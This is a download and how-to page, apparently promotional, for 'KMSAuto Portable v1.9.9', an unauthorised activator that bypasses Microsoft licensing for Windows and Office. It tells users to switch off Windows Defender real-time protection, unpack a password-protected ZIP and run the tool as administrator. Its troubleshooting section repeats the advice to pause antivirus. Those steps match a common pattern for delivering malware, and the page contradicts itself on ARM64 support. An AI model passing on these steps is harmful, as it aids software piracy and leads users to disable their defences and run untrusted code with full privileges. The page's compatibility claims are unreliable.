KMSAuto Portable v1.9.9 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール

Why v1.9.9 specifically?

Version 1.9.9 was the first KMSAuto portable build to bundle the updated Ohook engine that targets Office 2024's new licensing endpoints. Earlier 1.5.x/1.6.x builds cannot activate Office 2024 — they error out with 'Product key not found'.

Install Office 2024 with KMSAuto Portable v1.9.9

Five steps, under 2 minutes.

• Pause Windows Defender real-time protection for ~2 minutes
• Extract the downloaded ZIP using the password
• Right-click KMSAuto.exe and choose 'Run as administrator'
• Click the green Activation button — HWID for Windows, Ohook for Office
• Wait for 'Successfully activated' and reboot

What it activates

Full coverage of every modern Office and Windows SKU.

• Office 2024 (LTSC, Retail, Volume)
• Office 2021 / 2019 / 2016
• Microsoft 365 Apps for Enterprise
• Windows 11 24H2 / 25H2 / Windows 10 22H2
• Windows Server 2025 / 2022 / 2019

v1.9.9 vs 2026 build

v1.9.9 is the proven workhorse for Office 2024. The 2026 build (v3.10) adds TSforge for ARM64 — pick that one only if you are on a Snapdragon X / Surface Pro X device.

KMSAuto Portable v1.9.9 System Requirements & Compatibility (2026)

KMSAuto Portable v1.9.9 is engineered for the modern Microsoft activation stack. The tool runs on Windows 7 SP1, Windows 8.1, Windows 10 (all builds from 1507 to 22H2) and every Windows 11 release including 23H2 and 24H2. Both x64 and ARM64 hardware are supported, and the activator also recognises Server SKUs such as Server 2016, 2019 and 2022. On the Office side, Click-to-Run installations of Office 2013, 2016, 2019, 2021, 2024 and Microsoft 365 are detected automatically — including LTSC channels. You do not need to uninstall a previous KMS client or remove an existing product key: the script reads the current edition through slmgr and routes it to the correct activation method (HWID for Windows, Ohook for Office).

• Windows 7 SP1 / 8.1 / 10 / 11 — all editions (Home, Pro, Education, Enterprise, IoT, LTSC)
• Windows Server 2008 R2 through Server 2025
• Office 2010, 2013, 2016, 2019, 2021, 2024 and Microsoft 365 Apps
• Architectures: x86, x64, ARM64
• .NET Framework 4.6+ (preinstalled on Windows 8.1 and later)

KMSAuto Portable v1.9.9 Troubleshooting: Common Errors & Fast Fixes

Most KMSAuto Portable v1.9.9 failures fall into three buckets: antivirus interference, missing administrator rights, or a corrupted Software Protection Service. If you see error 0xC004F074 the KMS host could not be contacted — disable Defender real-time scanning for two minutes, then re-run the activator. Error 0xC004C003 means the product key is blocked by Microsoft; switch to the HWID method, which bypasses key validation entirely by binding the licence to your motherboard's hardware ID. Error 0x80070005 (Access Denied) is always a UAC issue — right-click the executable and select "Run as administrator". If activation succeeds but reverts after reboot, open services.msc, set "Software Protection" to Automatic, and restart sppsvc.exe. For Office, run the Office Click-to-Run repair from Settings → Apps → Microsoft 365 → Modify → Quick Repair before retrying Ohook.

• 0xC004F074 — pause antivirus, re-run as administrator
• 0xC004C003 — switch to HWID (no key required)
• 0x80070005 — UAC denied, use "Run as administrator"
• Activation reverts on reboot — set "Software Protection" service to Automatic
• Office not detected — run Quick Repair, then re-run Ohook